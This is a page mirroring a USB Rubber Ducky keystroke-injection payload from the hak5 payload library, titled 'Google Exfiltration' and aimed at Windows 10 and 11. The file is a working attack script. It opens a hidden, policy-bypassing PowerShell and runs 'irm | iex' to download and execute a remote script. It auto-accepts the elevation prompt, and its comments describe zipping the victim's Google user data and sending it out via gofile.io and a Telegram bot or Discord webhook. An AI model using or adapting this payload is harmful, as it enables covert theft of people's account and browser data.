Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/exfiltration/Google-Exfil/payload.txt
2968 views
1
REM Title: Google Exfiltration
2
REM Author: mrproxy
3
REM Description: This payload runs powershell script that zip google user data, uses gofile.io api to upload it, and then sends download link through telegram bot or discord webhook.
4
REM Target: Windows 10, 11
5
REM Version: 1.0
6
REM Category: Exfiltration
7
REM Source: https://github.com/Mr-Proxy-source/BadUSB-Payloads
8
9
REM Remember you will have to host the powershell script yourself on any file sharing service (it has to be direct download link)
10
REM If you are using DropBox, just remember to change it from ?dl=0 top ?dl=1
11
DEFINE #SCRIPT_URL example.com/payload.ps1?dl=1
12
13
REM If you want to use discord webhook instead of telegram bot, just change DC_WEBHOOK
14
15
REM Telegram bot details
16
DEFINE #BOT_TOKEN your-bot-token
17
DEFINE #CHAT_ID your-chat-id
18
19
REM Discord webhook
20
DEFINE #DC_WEBHOOK your-webhook
21
22
DELAY 1500
23
GUI r
24
DELAY 500
25
REM If you want to use Telegram change just bot token and chat id
26
REM If you want to use Discord Webhook dont do anything with botToken and chatID just change $webhook
27
STRING powershell -w h -NoP -Ep Bypass -Command $botToken='#BOT_TOKEN'; $chatID='#CHAT_ID'; $webhook='#DC_WEBHOOK'; irm #SCRIPT_URL | iex
28
CTRL-SHIFT ENTER
29
DELAY 1000
30
ALT y
31
32